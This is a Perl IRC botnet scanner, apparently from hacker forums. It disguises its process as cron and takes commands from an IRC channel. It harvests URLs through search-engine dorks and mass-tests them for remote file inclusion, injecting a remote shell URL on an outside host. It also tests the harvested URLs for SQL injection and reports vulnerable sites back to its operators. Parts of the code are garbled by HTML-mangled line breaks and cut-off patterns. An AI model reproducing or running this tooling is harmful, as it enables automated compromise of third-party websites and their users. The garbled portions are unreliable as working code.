#!/usr/bin/perl #by [cUnT from g00ns.net] : [mousepad from h4ck-y0u.org && w4ck1ng.com] use IO::Socket::INET; use strict; my($server,$channel,$chankey,$port,$nickp,$owner,$rfi_shell,$rfi_text,$sql_error,$sql_text,$maxsite,$v_threads,$get_timeout,$sock,$mid,$uc,@irc_parsed,@irc_parsed1,@rfi_sites,@rfi_urls,@bosses); $server = $ARGV[0] || "angin.allindo.net"; $channel = $ARGV[1] || "\#scanar"; $chankey = $ARGV[2] || ""; $port = $ARGV[3] || "6667"; $nickp = "H"; $owner = "mousepad"; @bosses = ("mousepad!wweesss\@rox-AFBE0982","mousepad!wweesss\@hello.sir.guy"); $rfi_shell = "http://tp.klokan.sk/help/css/hello.txt?"; #Include "?" $rfi_text = "e10adc3949ba59abbe56e057f20f883e<\/b>"; #Make sure you test with a rfi you KNOW works $sql_error = "'"; $sql_text = ("sql syntax|sql error|right syntax to use near"); $maxsite = 10; #Limit of pages to check on the same website $v_threads = 15; #VNC Threads $get_timeout = 10; #Timeout for the GET requests $0 = "/usr/sbin/cron"; #%SIG = ('HUP','IGNORE','INT','IGNORE','PIPE','IGNORE','TERM','IGNORE'); #Use this if you want the bot to not be killed.. will not be able to !kill scans #Use something with little chance of false positives# #shell - " . md5("123456") . ";?># #text - m/e10adc3949ba59abbe56e057f20f883e<\/b>/# sub randnick($){return "$_[0]" . int(rand(1)*100) . int(rand(1)*200) . int(rand(1)*300);} sub send_raw($){print $sock "$_[0]>br /<";} sub send_msg($$){print $sock "PRIVMSG $_[0] :$_[1]>br /<";} sub in_array {for(my $x=1;$x<=$#_;$x++){if($_[$x] eq $_[0]){return $x;}}return 0;} sub array_num {my $y=0;for(my $x=1;$x<=$#_;$x++){if($_[$x] eq $_[0]){$y++;}}return $y;} sub remove_dups(@){my(@Uns,@S,$x) = (@_);for($x=0;$x<=$#Uns;$x++){push(@S,$Uns[$x]) unless in_array($Uns[$x],@S);}return @S;} sub tchomp { #From the module Text::Chomp my $text = shift; $text =~ s/^(.*?)(?:\x0D\x0A|\x0A|\x0D|\x0C|\x{2028}|\x{2029})/$1/s; return $text; } sub urlencode($){ my $unclean = shift; $unclean =~ s/\?/\%3f/gi; $unclean =~ s/ /\+/gi; $unclean =~ s/:/\%3A/gi; $unclean =~ s/\//\%2F/gi; $unclean =~ s/&/\%26/gi; $unclean =~ s/\"/\%22/gi; $unclean =~ s/\'/\%27/gi; $unclean =~ s/,/\%2C/gi; $unclean =~ s/\\/\%5C/gi; return $unclean; } sub urldecode($){ my $clean = shift; $clean =~ s/\%3f/\?/gi; $clean =~ s/\+/ /gi; $clean =~ s/\%3A/:/gi; $clean =~ s/\%2F/\//gi; $clean =~ s/\%26/&/gi; $clean =~ s/\%22/\"/gi; $clean =~ s/\%27/\'/gi; $clean =~ s/\%2C/,/gi; $clean =~ s/\%5C/\\/gi; return $clean; } sub getreq($){ my($url,$query,$xcon,$host,$get,@content,@ags) = ($_[0]); @ags = ("Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.6) Gecko/20050223 Firefox/1.0.1","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)","Microsoft Pocket Internet Explorer/0.6","Microsoft Internet Explorer/4.0b1 (Windows 95)"); $url =~ m/http:\/\/(.*?)\/(.*)/; ($host,$url,$query) = ($1,"$1/$2","/$2"); eval{ local $SIG{ALRM} = sub{print("[-] Timed out - $url\n");die;}; alarm $get_timeout; $get = IO::Socket::INET->new(PeerAddr=>"$host:80",Proto=>"tcp") or sub{die("FAILED\n");}; print $get "GET $query HTTP/1.0>br /br /br /br /br /<>br /<"; @content = <$get>; $xcon = "@content"; close($get); alarm 0; }; return urldecode($xcon); } sub rfi_google($$){ my($dork,$start,$content,$dom,$page,$dad,$url) = (urlencode($_[0]),$_[1]); print "[GOO-] http://www.google.ca/search?q=$dork&start=$start&num=100\n"; $content = &getreq("http://www.google.ca/search?q=$dork&start=$start&num=100"); if($content =~ m/

We\'re sorry\.\.\.<\/h1>/){print "[GOO-SCAN] Google killed you\n";return 0;} while($content =~ m/http:\/\/(.*)<\/p>/ig){ $url = "http://$1"; if(($url =~ m/http:\/\/(www\.|)([\w\-\_\.]*)\/(.*?)$/) && (&array_num("http://$1$2",@rfi_sites)<=$maxsite) && (!in_array($url,@rfi_urls))){ ($dom,$page) = ("http://$1$2","/$3"); $dad = $dom.$page; push(@rfi_sites,$dom); push(@rfi_urls,$dad); $uc++; #print "[AOL-SCAN] $dad\n"; $uc++; } } if($content =~ m/Next<\/span><\/a> <\/span><\/div>/){ print "[AOL-SCAN] Another page: " . ($start + 1) . "\n"; &rfi_aol($dork,($start + 1),$_[2]); } return $uc; } sub rfi_ask($$){ my($dork,$start,$content,$dom,$page,$dad,$url) = (urlencode($_[0]),$_[1]); print "[ASK-SCAN] http://www.ask.com/web?q=$dork&adlt=1&page=$start\n"; $content = &getreq("http://www.ask.com/web?q=$dork&adlt=1&page=$start"); while($content =~ m/href=\"http:\/\/(.*?)\"/ig){ $url = "http://$1"; if(($url =~ m/http:\/\/(www\.|)([\w\-\_\.]*)\/(.*?)$/) && (&array_num("http://$1$2",@rfi_sites)<=$maxsite) && (!in_array($url,@rfi_urls))){ ($dom,$page) = ("http://$1$2","/$3"); $dad = $dom.$page; push(@rfi_sites,$dom); push(@rfi_urls,$dad); #print "[ASK-SCAN] $dad\n"; $uc++; } } if($content =~ m/style=\"text-decoration\:none\" >Next\&/){ print "[ASK-SCAN] Another page: " . ($start + 1) . "\n"; &rfi_ask($dork,($start + 1),$_[2]); } return $uc; } sub rfi_msn($$){ my($dork,$start,$content,$dom,$page,$dad,$url) = (urlencode($_[0]),$_[1]); print "[MSN-SCAN] http://search.msn.com/results.aspx?q=$dork&first=$start\n"; $content = &getreq("http://search.msn.com/results.aspx?q=$dork&first=$start"); while($content =~ m/href=\"http:\/\/(.*?)\"/ig){ $url = "http://$1"; if(($url =~ m/http:\/\/(www\.|)([\w\-\_\.]*)\/(.*?)$/) && (&array_num("http://$1$2",@rfi_sites)<=$maxsite) && (!in_array($url,@rfi_urls))){ ($dom,$page) = ("http://$1$2","/$3"); $dad = $dom.$page; push(@rfi_sites,$dom); push(@rfi_urls,$dad); #print "[MSN-SCAN] $dad\n"; $uc++; } } if($content =~ m/PORE\">Next<\/a><\/div>
/ig){ $url = "http://$1"; if(($url =~ m/http:\/\/(www\.|)([\w\-\_\.]*)\/(.*?)$/) && (&array_num("http://$1$2",@rfi_sites)<=$maxsite) && (!in_array($url,@rfi_urls))){ ($dom,$page) = ("http://$1$2","/$3"); $dad = $dom.$page; push(@rfi_sites,$dom); push(@rfi_urls,$dad); #print "[ALT-SCAN] $dad\n"; $uc++; } } if($content =~ m/target=\"_self\">Next >><\/a><\/b><\/td>/){ print "[ALT-SCAN] Another page: " . ($start + 50) . "\n"; &rfi_alt($dork,($start + 50),$_[2]); } return $uc; } sub rfi_baidu($$){ my($dork,$start,$content,$dom,$page,$dad,$url) = (urlencode($_[0]),$_[1]); print "[BAIDU-SCAN] http://www.baidu.com/s?wd=$dork&rn=100&pn=$start\n"; $content = &getreq("http://www.baidu.com/s?wd=$dork&rn=100&pn=$start"); while($content =~ m/href=\"http:\/\/(.*?)\"/ig){ $url = "http://$1"; if(($url =~ m/http:\/\/(www\.|)([\w\-\_\.]*)\/(.*?)$/) && (&array_num("http://$1$2",@rfi_sites)<=$maxsite) && (!in_array($url,@rfi_urls))){ ($dom,$page) = ("http://$1$2","/$3"); $dad = $dom.$page; push(@rfi_sites,$dom); push(@rfi_urls,$dad); #print "[BAIDU-SCAN] $dad\n"; $uc++; } } if($content =~ m/.*<\/font><\/a><\/div>
/){ print "[BAIDU-SCAN] Another page: " . ($start + 100) . "\n"; &rfi_baidu($dork,($start + 100),$_[2]); } return $uc; } sub rfi_atw($$){ my($dork,$start,$content,$dom,$page,$dad,$url) = (urlencode($_[0]),$_[1]); print "[ATW-SCAN] http://www.alltheweb.com/search?advanced=1&type=all&_sb_lang=any&hits=100&q=$dork&o=$start\n"; $content = &getreq("http://www.alltheweb.com/search?advanced=1&type=all&_sb_lang=any&hits=100&q=$dork&o=$start"); while($content =~ m/http:\/\/(.*?) <\/span>/ig){ $url = "http://$1"; if(($url =~ m/http:\/\/(www\.|)([\w\-\_\.]*)\/(.*?)$/) && (&array_num("http://$1$2",@rfi_sites)<=$maxsite) && (!in_array($url,@rfi_urls))){ ($dom,$page) = ("http://$1$2","/$3"); $dad = $dom.$page; push(@rfi_sites,$dom); push(@rfi_urls,$dad); #print "[ATW-SCAN] $dad\n"; $uc++; } } if($content =~ m/class=\"rnavLink\">Next<\/a>/){ print "[ATW-SCAN] Another page: " . ($start + 100) . "\n"; &rfi_atw($dork,($start + 100),$_[2]); } return $uc; } sub url_validate(@){ my($choice,$pagen) = ($_[0],$_[1]); my(@urls,@wins,@fails,@paramlist,@params,@checks,$url,$tmp1,$tmp2,$chk,$m_add,$m_text,$badu,$count,$count2,@rfis); $badu = "(\w*\.baidu\.)|(\w*\.microsoft\.)|(\w*\.live\.)|(\w*\.w3\.org)|(\w*\.msnscache\.)|(\w*\.google\.)|(\w*\.yahoo\.)|(\w*\.aol\.)|(\w*\.altavista\.)|(\w*\.ask\.)|(209\.85\.173\.104)"; for(2..$#_){ if($_[$_] !~ m/$badu/i){ push(@urls,$_[$_]); } } @urls = &remove_dups(@urls); foreach(@urls){ push(@rfis,$_) if $_ =~ m/^http:\/\/(www\.|)([\w\-\_\.]*)\/([\w\-\_\.\/\;]*)\?([\w\-\_\.]*)=(.*?)$/; } if(@urls){ if($choice eq "d"){ foreach $url(@urls){ $m_add = $rfi_shell; $m_text = $rfi_text; if($url =~ m/^http:\/\/(www\.|)([\w\-\_\.]*)\/([a-z0-9\.\-\_\/]*)\/([\w\-\_\.\/\;]*)/){ push(@checks,"http://$1$2/$3/$pagen"); } elsif($url =~ m/^http:\/\/(www\.|)([\w\-\_\.]*)\/([\w\-\_\.\/\;]*)/){ push(@checks,"http://$1$2/$pagen"); } } } elsif($choice eq "r") { foreach $url(@rfis){ $m_add = $rfi_shell; $m_text = $rfi_text; @paramlist = split(/\?/,$url); @params = split(/=/,$paramlist[1]); $tmp1 = ""; for(0..$#params-1){ $tmp1 .= $params[$_] . "="; $tmp2 = $paramlist[0] . "?" . $tmp1; push(@checks,$tmp2); } } } elsif($choice eq "s"){ foreach $url(@rfis){ $m_add = $sql_error; $m_text = $sql_text; @paramlist = split(/\?/,$url); @params = split(/=/,$paramlist[1]); $tmp1 = ""; for(0..$#params-1){ $tmp1 .= $params[$_] . "="; $tmp2 = $paramlist[0] . "?" . $tmp1; push(@checks,$tmp2); } } } } else{ print "[VAL-] No sites to clean\n"; return 0; } @checks = &remove_dups(@checks); send_msg($channel,"[VAL] " . ($#checks+1) . " URLS to check"); print "[URL VALIDATION] " . ($#checks+1) . " URLS TO CHECK\n"; foreach $chk(@checks){ $count++; $count2++; $chk .= $m_add; if(&getreq($chk) =~ m/$m_text/i){ send_msg($channel,"[VAL] [WIN] $chk"); print "[VAL+] Win: $chk\n"; push(@wins,$chk); } else{ print "[VAL-] Fail: $chk\n"; } if($count==60){ send_msg($channel,"[VAL] $count2 of " . $#checks . " urls completed"); $count=0; } elsif($checks[$#checks] eq $checks[$count]){ send_msg($channel,"[VAL] All " . $#checks . " urls completed"); $count=0; $count2=0; } } return 0; } $mid = fork(); if($mid){ exit; } if(undef($mid)){ exit; } $sock = new IO::Socket::INET(PeerAddr=>"$server:6667",Proto=>"tcp"); die("Couldn't connect: $!\n") unless $sock; my $nick = &randnick($nickp); &send_raw("NICK " . $nick); &send_raw("USER " . &randnick("s") . " " . &randnick("z") . " * :HELLOSIR"); if($chankey){&send_raw("JOIN $channel $chankey");}else{&send_raw("JOIN $channel");} while(<$sock>){ @irc_parsed = split(/>br /"); } } elsif(($irc_parsed1[3] eq ":!rfitext") && (!$irc_parsed1[5])){ if($rfi_text){ send_msg($channel,"[RFI] Text: $rfi_text"); } elsif(!$rfi_text){ send_msg($channel,"[RFI] No text: set one with !rfitext $nick "); } } elsif(($irc_parsed1[3] eq ":!rfitext") && ($irc_parsed1[5])){ $rfi_text = ""; for(5..$#irc_parsed1){ $rfi_text .= $irc_parsed1[$_] . " "; } $rfi_text = substr($rfi_text,0,length($rfi_text)-1); send_msg($channel,"[RFI] text set: $rfi_text"); } elsif(($irc_parsed1[3] eq ":!sqlerror") && ($irc_parsed1[5])){ $sql_error = ""; for(5..$#irc_parsed1){ $sql_error .= $irc_parsed1[$_] . " "; } $sql_error = substr($sql_error,0,length($sql_error)-1); send_msg($channel,"[SQL] error set: $sql_error"); } elsif(($irc_parsed1[3] eq ":!sqlerror") && (!$irc_parsed1[5])){ if($sql_error){ send_msg($channel,"[SQL] Error: $sql_error"); } elsif(!$sql_error){ send_msg($channel,"[SQL] No error: set one with !sqlerror $nick "); } } elsif(($irc_parsed1[3] eq ":!sqltext") && ($irc_parsed1[5])){ $sql_text = ""; for(5..$#irc_parsed1){ $sql_text .= $irc_parsed1[$_] . " "; } $sql_text = substr($sql_text,0,length($sql_text)-1); send_msg($channel,"[SQL] text set: $sql_text"); } elsif(($irc_parsed1[3] eq ":!sqltext") && (!$irc_parsed1[5])){ if($rfi_text){ send_msg($channel,"[SQL] Text: $sql_text"); } elsif(!$rfi_text){ send_msg($channel,"[SQL] No text: set one with !sqltext $nick "); } } elsif($irc_parsed1[3] eq ":!addboss"){ if(($irc_parsed1[5] =~ m/(.+)!(.+)\@(.+)/) || ($irc_parsed1[5] =~ m/(.+)!~(.+)\@(.+)/)){ if(!in_array($irc_parsed1[5],@bosses)){ push(@bosses,$irc_parsed1[5]); send_msg($channel,"[BOT] $irc_parsed1[5] {Owner added}"); } else{ send_msg($channel,"[BOT] $irc_parsed1[5] {Already owner}"); } } else{ send_msg($channel,"[BOT] $irc_parsed1[5] {Wrong format: nick!user\@host}"); } } elsif(($irc_parsed1[3] eq ":!delboss") && ($irc_parsed1[5]) && ($irc_parsed1[5] ne $bosses[0])){ my $x = in_array($irc_parsed1[5],@bosses); if($x>0){ splice(@bosses,($x-1),1); #@bosses = sort(@bosses); send_msg($channel,"[BOT] $irc_parsed1[5] {Owner removed}"); } else{ send_msg($channel,"[BOT] $irc_parsed1[5] {Not an owner}"); } } elsif($irc_parsed1[3] eq ":!test"){ send_msg($channel,"[TEST] Hello, I AM WORKING!"); } elsif($irc_parsed1[3] eq ":!bosses"){ if(my $xid = fork){ waitpid($xid,0); } else{ if(fork){ exit; } else{ foreach(@bosses){ send_msg($irc_parsed1[0],"Boss: $_"); sleep 2; } exit; } } } elsif($irc_parsed1[3] eq ":!procs"){ if(my $xid = fork){ waitpid($xid,0); } else{ if(fork){ exit; } else{ my @procs = split(/\n/,`ps aux | grep $0`); if($#procs){ foreach(@procs){ send_msg($irc_parsed1[0],"[PROC] PS: $_"); sleep(2); } } else{ send_msg($irc_parsed1[0],"[PROC] PS FAILED"); } exit; } } } elsif(($irc_parsed1[3] eq ":!rfi") && ($irc_parsed1[5])){ my($dork); for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";} $dork = substr($dork,0,length($dork)-1); my $sc1 = fork; if($sc1){ waitpid($sc1,0); } elsif($sc1 == 0){ my $sc2 = fork; if($sc2){ send_msg($irc_parsed1[0],"[RFI] Dork: \"$dork\" - Stop with !kill $nick $sc2"); exit; } elsif($sc2==0){ send_msg($channel,"[RFI] Dork: \"$dork\" Starting"); send_msg($channel,"[RFI] [ALLTHEWEB] Dork: \"$dork\" - Results: " . &rfi_atw($dork,"0")); $uc=0; send_msg($channel,"[RFI] [GOOGLE] Dork: \"$dork\" - Results: " . &rfi_google($dork,"0")); $uc=0; send_msg($channel,"[RFI] [AOL] Dork: \"$dork\" - Results: " . &rfi_aol($dork,"1")); $uc=0; send_msg($channel,"[RFI] [ASK] Dork: \"$dork\" - Results: " . &rfi_ask($dork,"1")); $uc=0; send_msg($channel,"[RFI] [MSN] Dork: \"$dork\" - Results: " . &rfi_msn($dork,"1")); $uc=0; send_msg($channel,"[RFI] [ALT] Dork: \"$dork\" - Results: " . &rfi_alt($dork,"0")); $uc=0; send_msg($channel,"[RFI] [BAIDU] Dork: \"$dork\" - Results: " . &rfi_baidu($dork,"0")); $uc=0; if($#rfi_urls){ #send_msg($channel,"[RFI] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's"); &url_validate("r","",@rfi_urls); send_msg($channel,"[RFI] Dork: \"$dork\" - Finished"); } else{ send_msg($channel,"[RFI] [MULTISCAN] Dork: \"$dork\" Finished {NO URLS FOUND}"); } (@rfi_urls,@rfi_sites) = (); exit; } exit; } } elsif(($irc_parsed1[3] eq ":!sql") && ($irc_parsed1[5])){ my($dork); for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";} $dork = substr($dork,0,length($dork)-1); my $sc1 = fork; if($sc1){ waitpid($sc1,0); } elsif($sc1 == 0){ my $sc2 = fork; if($sc2){ send_msg($irc_parsed1[0],"[SQL] Dork: \"$dork\" - Stop with !kill $nick $sc2"); exit; } elsif($sc2==0){ send_msg($channel,"[SQL] Dork: \"$dork\" Starting"); send_msg($channel,"[SQL] [ALLTHEWEB] Dork: \"$dork\" - Results: " . &rfi_atw($dork,"0")); $uc=0; send_msg($channel,"[SQL] [GOOGLE] Dork: \"$dork\" - Results: " . &rfi_google($dork,"0")); $uc=0; send_msg($channel,"[SQL] [AOL] Dork: \"$dork\" - Results: " . &rfi_aol($dork,"1")); $uc=0; send_msg($channel,"[SQL] [ASK] Dork: \"$dork\" - Results: " . &rfi_ask($dork,"1")); $uc=0; send_msg($channel,"[SQL] [MSN] Dork: \"$dork\" - Results: " . &rfi_msn($dork,"1")); $uc=0; send_msg($channel,"[SQL] [ALT] Dork: \"$dork\" - Results: " . &rfi_alt($dork,"0")); $uc=0; send_msg($channel,"[SQL] [BAIDU] Dork: \"$dork\" - Results: " . &rfi_baidu($dork,"0")); $uc=0; if($#rfi_urls){ #send_msg($channel,"[SQL] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's"); &url_validate("s","",@rfi_urls); send_msg($channel,"[SQL] Dork: \"$dork\" - Finished"); } else{ send_msg($channel,"[SQL] [MULTISCAN] Dork: \"$dork\" Finished {NO URLS FOUND}"); } (@rfi_urls,@rfi_sites) = (); exit; } exit; } } elsif(($irc_parsed1[3] eq ":!dork") && ($irc_parsed1[6])){ my($dork,$vPage); $vPage = $irc_parsed1[5]; for(6..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";} $dork = substr($dork,0,length($dork)-1); my $sc1 = fork; if($sc1){ waitpid($sc1,0); } elsif($sc1 == 0){ my $sc2 = fork; if($sc2){ send_msg($irc_parsed1[0],"[DORK] Dork: \"$dork\" - Stop with !kill $nick $sc2"); exit; } elsif($sc2==0){ send_msg($channel,"[DORK] Dork: \"$dork\" Starting"); send_msg($channel,"[DORK] [ALLTHEWEB] Dork: \"$dork\" - Results: " . &rfi_atw($dork,"0")); $uc=0; send_msg($channel,"[DORK] [GOOGLE] Dork: \"$dork\" - Results: " . &rfi_google($dork,"0")); $uc=0; send_msg($channel,"[DORK] [AOL] Dork: \"$dork\" - Results: " . &rfi_aol($dork,"1")); $uc=0; send_msg($channel,"[DORK] [ASK] Dork: \"$dork\" - Results: " . &rfi_ask($dork,"1")); $uc=0; send_msg($channel,"[DORK] [MSN] Dork: \"$dork\" - Results: " . &rfi_msn($dork,"1")); $uc=0; send_msg($channel,"[DORK] [ALT] Dork: \"$dork\" - Results: " . &rfi_alt($dork,"0")); $uc=0; send_msg($channel,"[DORK] [BAIDU] Dork: \"$dork\" - Results: " . &rfi_baidu($dork,"0")); $uc=0; if($#rfi_urls){ #send_msg($channel,"[DORK] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's"); &url_validate("d",$vPage,@rfi_urls); send_msg($channel,"[DORK] Dork: \"$dork\" - Finished"); } else{ send_msg($channel,"[DORK] Dork: \"$dork\" Finished {NO URLS FOUND}"); } (@rfi_urls,@rfi_sites) = (); exit; } exit; } } elsif(($irc_parsed1[3] eq ":!google") && ($irc_parsed1[5])){ my($dork); for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";} $dork = substr($dork,0,length($dork)-1); my $sc1 = fork; if($sc1){ waitpid($sc1,0); } elsif($sc1 == 0){ my $sc2 = fork; if($sc2){ send_msg($irc_parsed1[0],"[GOO] Dork: \"$dork\" - Stop with !kill $nick $sc2"); exit; } elsif($sc2==0){ send_msg($channel,"[GOO] Dork: \"$dork\" Starting"); send_msg($channel,"[GOO] [GOOGLE] Dork: \"$dork\" - Results: " . &rfi_google($dork,"0")); $uc=0; if($#rfi_urls){ #send_msg($channel,"[GOO] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's"); &url_validate("r","",@rfi_urls); send_msg($channel,"[GOO] Dork: \"$dork\" - Finished"); } else{ send_msg($channel,"[GOO] [MULTISCAN] Dork: \"$dork\" Finished {NO URLS FOUND}"); } (@rfi_urls,@rfi_sites) = (); exit; } exit; } } } } }